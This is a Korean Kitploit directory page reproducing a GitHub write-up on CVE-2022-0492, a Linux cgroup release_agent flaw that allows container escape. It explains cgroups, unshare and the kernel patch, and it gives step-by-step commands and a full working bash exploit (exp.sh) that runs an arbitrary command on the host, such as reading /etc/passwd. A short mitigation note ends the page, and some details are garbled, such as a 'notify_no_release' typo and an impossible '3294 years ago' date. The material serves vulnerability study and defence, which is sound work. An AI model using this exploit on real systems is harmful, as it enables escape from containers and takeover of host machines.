Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-0492 — CVE-2022-0492 EXP 및 분석 write-up | Kitploit
도구/GitHubGitHub/chenaotian/cve-2022-0492
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationContainer EscapeLabs & Practice
GitHubchenaotian/cve-2022-0492

CVE-2022-0492

CVE-2022-0492 EXP 및 분석 write-up

저장소 보기
3294년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-0492 컨테이너 탈출 분석

[toc]

취약점 소개

취약점 번호: CVE-2022-0492

취약점 제품: linux kernel - cgroup

영향 버전: ~linux kernel 5.17-rc3

취약점 위험성: 컨테이너에 추가 보안 조치가 활성화되어 있지 않을 때, 컨테이너 내부에서 root 권한을 획득하면 호스트로 탈출할 수 있습니다.

환경 구성

취약점이 존재하는 커널 버전의 Linux에서 docker를 사용하면 됩니다.

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

본 문서에서는 docker를 실험 환경으로 사용합니다.

취약점 원리 및 관련 지식

이 취약점의 활용 방법은 이미 익숙한 방식이지만, 이번 취약점이 발생한 지점은 cgroup의 release_agent 수정에 대한 권한 검증이 누락된 것입니다. 이로 인해 탈출 활용의 문턱이 더욱 낮아졌습니다(이전에는 CAP_SYS_ADMIN 권한이 필요했지만, 이 취약점은 CAP_SYS_ADMIN이 필요 없습니다). 구체적인 활용 전제 조건의 차이는 아래 "활용 조건"을 참고하세요.

취약점 발생 지점

패치를 분석해 보면 cgroup_release_agent_write 함수가 패치되어 신원 검증이 추가되었습니다. 즉, cgroup의 release_agent는 더 이상 권한이 없는 사용자가 수정할 수 없게 되었습니다:

image-20220310201629995

따라서 이 취약점은 깨진 접근 제어(Broken Access Control)로 확인되었습니다.

cgroup 소개

cgroup은 Linux Control Group으로, Linux 커널의 기능이며 프로세스 그룹의 리소스(예: CPU, 메모리, 디스크 입출력 등)를 제한, 제어 및 분리하는 데 사용됩니다.

cgroup에는 다음과 같은 하위 시스템이 있습니다:

  1. devices 프로세스 범위의 장치 권한
  2. cpuset 프로세스가 사용할 수 있는 CPU 수와 메모리 노드 할당
  3. cpu CPU 점유율 제어
  4. cpuacct CPU 사용 현황 통계(예: 실행 시간, throttled 시간)
  5. memory 메모리 사용 상한 제한
  6. freezer Cgroup 내 프로세스 일시 중지
  7. net_cls tc(traffic controller)와 함께 사용하여 네트워크 대역폭 제한
  8. net_prio 프로세스의 네트워크 트래픽 우선순위 설정
  9. huge_tlb HugeTLB 사용 제한
  10. perf_event Perf 도구가 Cgroup 그룹을 기반으로 성능 검사를 수행하도록 허용

호스트의 cgroup은 모두 /sys/fs/cgroup 아래에 있으며, 각 cgroup 하위 시스템을 확인할 수 있습니다:

image-20220311113636040

docker에서의 해당 cgroup 하위 시스템은 호스트의 해당 cgroup 하위 노드입니다. docker에서 memory cgroup을 확인합니다:

image-20220311113811776

호스트 docker 디렉터리에 있는 해당 컨테이너 이름 노드도 완전히 동일합니다:

image-20220311113853019

cgroup 사용

cgroup은 파일 시스템 형태로 사용되며, mount를 통해 cgroup을 디렉터리에 마운트합니다. cgroup은 VFS 가상 파일 시스템을 통해 우리와 상호작용하고, cgroup의 인터페이스는 파일 형태로 제공되므로 파일 조작 방식으로 cgroup의 일부 매개변수를 설정할 수 있습니다.

root@kitploit:~
mount -t cgroup -o memory cgroup /tmp/testcgroup

image-20220311111853198

디렉터리 아래에 하위 디렉터리를 생성하여 cgroup 하위 노드를 만들 수 있습니다: mkdir /tmp/testcgroup/x.

release_agent

cgroup의 각 하위 시스템에는 notify_on_release 매개변수가 있으며, 이 매개변수 값은 Boolean 형으로 1 또는 0입니다. 각각 해제 에이전트(release_agent) 지시를 활성화하거나 비활성화할 수 있습니다. notify_on_release가 활성화(1)되면, cgroup에 더 이상 작업이 없을 때(즉, cgroup의 마지막 프로세스가 종료되어 cgroup의 tasks 파일의 PID가 비어 있을 때), 시스템 커널은 release_agent 매개변수가 지정한 파일의 내용을 실행합니다. notify_on_release 파일을 수정하는 방식으로 notify_on_release 값을 변경합니다.

image-20220311114023546

취약점은 release_agent 수정 지점에서 발생합니다. 원래는 cgroup을 조작할 수만 있으면 release_agent를 수정할 수 있었는데, cgroup을 사용하려면 CAP_SYS_ADMIN이 필요했습니다. 그러나 이후 연구자들이 unshare 명령으로 새로운 namespace를 생성하면 모든 capabilities를 얻을 수 있다는 것을 발견하면서, CAP_SYS_ADMIN에 대한 제한이 더 이상 존재하지 않게 되었고 취약점 활용의 문턱이 크게 낮아졌습니다.

unshare 명령

unshare 명령은 지정된 공유 상위 프로세스에서 지정된 네임스페이스를 해제한 다음, 지정된 프로그램을 실행하고 새로 생성된 namespace에 합류시키는 기능입니다. 우리의 취약점 활용과 관련된 핵심은 unshare로 새로 생성된 namespace가 CAP_SYS_ADMIN을 포함한 모든 capabilities를 보유한다는 것입니다.

image-20220311102635204

취약점 활용

이 취약점의 활용은 전통적인 CAP_SYS_ADMIN + cgroup release_agent 탈출 방법과 동일하지만, 활용 조건에 차이가 있습니다.

활용 조건

취약점 활용 조건과 전통적인 release_agent 탈출의 활용 조건 차이는 다음과 같습니다:

전통적인 release_agent: 컨테이너에 CAP_SYS_ADMIN이 필요하고 apparmor, selinux가 활성화되어 있지 않아야 합니다.

cve-2022-0492: 컨테이너가 무방비 상태로 실행되고(더 구체적으로는 seccomp가 unshare를 비활성화하지 않고, apparmor가 cgroup 읽기 전용을 설정하지 않으며, selinux가 꺼져 있음), 컨테이너 내부에서 root 권한을 획득하면 됩니다. CAP_SYS_ADMIN을 획득할 필요가 없습니다.

참고로 docker의 apparmor는 기본적으로 cgroup 읽기 전용을 활성화하고, docker의 seccomp는 기본적으로 CAP_SYS_ADMIN 권한이 없는 상태에서의 unshare를 비활성화합니다. k8s는 기본적으로 무방비 상태의 컨테이너인 경우가 많습니다. 어쨌든 활용이 비교적 쉬우므로 구체적인 시나리오에서 시도해 볼 수 있습니다.

취약점 수정 후: 패치 코드에 따르면:

image-20220310201629995

release_agent 파일을 수정하려면 다음 두 가지 조건을 충족해야 합니다:

  1. 루트 네임스페이스일 것
  2. CAP_SYS_ADMIN cap 권한을 보유할 것

따라서 취약점 수정 이후에는 unshare 로 획득한 CAP_SYS_ADMIN 권한으로는 더 이상 release_agent를 수정할 수 없습니다. unshare로 얻은 새 네임스페이스는 루트 네임스페이스가 아니기 때문입니다. 하지만 컨테이너 자체에 CAP_SYS_ADMIN 권한이 있다면 이 방식을 계속 사용하여 탈출할 수 있습니다.

취약점 활용

CAP_SYS_ADMIN 획득

docker를 --cap-add=SYS_ADMIN 매개변수 또는 --privileged(특권 컨테이너)로 시작하면 CAP_SYS_ADMIN 권한이 포함되므로 별도로 획득할 필요가 없습니다. 예를 들어 다음과 같은 시작 명령이 있습니다:

root@kitploit:~
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

CAP_SYS_ADMIN 권한이 있는 docker는 바로 다음 단계인 "release_agent 수정"으로 진행할 수 있습니다. CAP_SYS_ADMIN 권한 없이 docker를 시작하고 취약점을 재현하는 명령은 다음과 같습니다:

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

CAP_SYS_ADMIN이 없는 경우, 다음 unshare 명령으로 CAP_SYS_ADMIN 권한을 획득합니다:

root@kitploit:~
unshare -UrmC --propagation=unchanged bash 

새로 얻은 네임스페이스는 모든 capabilities 권한을 보유합니다.

image-20220311102635204

mount cgroup 및 호스트에서 컨테이너 경로 획득

cgroup을 디렉터리에 mount합니다. 이 단계는 mount 를 사용하므로 CAP_SYS_ADMIN 권한이 필요하며, 이전 단계를 거치면 CAP_SYS_ADMIN을 기본으로 가지고 있거나 unshare를 통해 이미 획득한 상태입니다. 그 외에도 방금 mount 한 cgroup에 cgroup 노드를 하나 생성해야 하며, 이후 task를 비우는 작업을 편리하게 수행할 수 있습니다:

root@kitploit:~
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x

여기서 memory를 mount할 수 없거나 memory에 release_agent가 없다면 다른 cgroup 하위 시스템으로 교체할 수 있습니다.

/etc/mtab 파일을 통해 마운트된 docker overlay 파일 시스템 정보를 확인할 수 있으며, upperdir이 컨테이너 루트 디렉터리의 호스트 상 절대 경로입니다:

image-20220311104701790

다음 명령으로 얻을 수 있습니다:

root@kitploit:~
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

release_agent 수정으로 탈출 트리거

notify_on_release를 1로 설정하여 task 프로세스가 비워진 후 release_agent 기능이 실행되도록 활성화합니다:

root@kitploit:~
echo 1 > /tmp/testcgroup/x/notify_no_release

release_agent가 트리거될 때 실행할 파일을 생성합니다:

root@kitploit:~
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd

release_agent를 수정하여 cmd 파일의 호스트 상 경로를 가리키게 합니다(위에서 이미 컨테이너 루트 디렉터리의 호스트 경로를 얻었습니다):

root@kitploit:~
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

다음으로 x cgroup 노드에 작업 하나를 입력하고, 자신이 속한 sh의 pid를 cgroup.procs에 기록합니다.

root@kitploit:~
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

sh 명령은 echo 지시문 하나만 실행하므로 순식간에 종료됩니다. 그러면 x cgroup 노드에는 더 이상 작업이 없게 되고, notify_on_release가 트리거되어 release_agent가 가리키는 /cmd 파일이 실행됩니다. 커널이 트리거되어 컨테이너 외부에서 우리가 지정한 명령을 실행하므로 탈출이 완료됩니다. 탈출 성공:

image-20220311110810458

exp

절차에 따라 exp를 작성했습니다:

root@kitploit:~
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir

바로 실행하고, 탈출 후 실행하려는 명령을 매개변수로 전달합니다: 예: ./exp.sh "cat /etc/passwd"

탈출 성공:

image-20220311153511050

완화 조치

docker의 기본 상태는 seccomp와 apparmor가 활성화되어 있으며, 기본 규칙이 활성화된 seccomp와 apparmor가 적용된 컨테이너에서는 이 취약점으로 탈출할 수 없습니다. k8s는 기본적으로 아무런 보안 조치가 없으므로 seccomp와 apparmor 또는 selinux를 수동으로 활성화해야 합니다.

참고자료

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

그 외에도 이 취약점을 발굴하는 데 참여한 사람에게도 물어보았습니다.

도구 다운로드